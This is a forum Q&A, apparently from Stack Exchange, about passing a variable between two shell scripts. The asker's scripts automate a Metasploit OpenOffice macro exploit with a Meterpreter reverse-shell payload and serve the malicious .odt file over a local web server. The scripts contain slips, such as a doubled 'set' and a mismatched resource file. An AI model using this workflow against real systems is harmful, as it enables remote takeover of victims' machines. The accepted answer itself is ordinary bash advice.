Pass parameter to a different bash shell

Question

I have written a bash script

Script1.sh

#!/bin/sh    
read -p "Enter name of the document file :" name    
read -p "Enter LHOST  :" lhost    
read -p "Enter LPORT  :" lport    
echo "use exploit/multi/misc/openoffice_document_macro    
set set payload windows/meterpreter/reverse_tcp_allports    
set FIlENAME $name.odt    
set LHOST $lhost    
set LPORT $lport    
exploit    
background    
exploit" > output.txt    
set ExitOnSession false    
gnome-terminal -e "./script2.sh"    
echo "Now Starting metasploit !"    
msfconsole -r open_office_macro.rc

script2.sh

#!/bin/sh    
file=/root/.msf4/local/$name.odt    
if [ -f "$file" ]    
then    
        cp /root/.msf4/local/$name.odt /var/www/html    
        cd /var/www/html    
        python -m SimpleHTTPServer    
else    
        echo "$file not found."    

fi

How can i pass the $name parameter from script1 to script2?

If you write for the bash shell, don't use a sh shebang line in your scripts! — Kusalananda
– Kusalananda ♦, Commented Sep 21, 2018 at 8:25

user1934428 · Accepted Answer · 2018-09-21 08:04:25Z

0

There are two possibilities:

Make it an exported variable (in which case I would recommend writing it all-uppercase, i.e. NAME). If you do this, it is placed in the environment of the child process.
Pass it as an explicit parameter.

Example for 1:

# Use it as exported variable
export NAME
read -p .... NAME

Example for 2

# in script1:
read -p .... name
script2.sh $name

# Fetch it in script2:
name="${1?No name supplied}"

answered Sep 21, 2018 at 8:04

user1934428

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